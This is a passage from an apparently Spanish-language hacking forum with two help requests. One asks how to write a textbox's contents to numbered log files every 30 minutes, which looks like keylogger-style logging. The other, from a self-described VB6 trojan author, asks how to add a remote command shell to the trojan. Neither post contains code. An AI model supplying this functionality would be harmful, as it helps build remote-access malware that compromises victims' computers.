lo que necesito es saber como hacer que el contenido de un textbox se guarde en un archivo .txt, pero siempre con nombre diferente, por ejemplo el primer log que se llame log1, el segundo log2, i asi sucesivamente
lo que se me ocurriria a mi seria pone un timer con intervalo 30.000 (quiero que se guarde cada 30min) despues el code para generar el .txt i despues que se vacie :-X
alguien me podria ayudar????
gracias de antemano ;D
#19
wenas a todos!
bueno.. yo llevo algun tiempo en esto de crear troyanos en vb6.. no tengo mucha experiencia pero algo se hacer :P
bueno mi peticion seria si alguien podria orientarme en como agregarle esto de la cmd pipe (poder enviar comandos a la cmd, que devuelva el resultado y poder "interactuar" con ella) a mi troyano en vb6... si pueden poner un tutorial o orientarme me ayudarian mucho ;D
gracias de antemano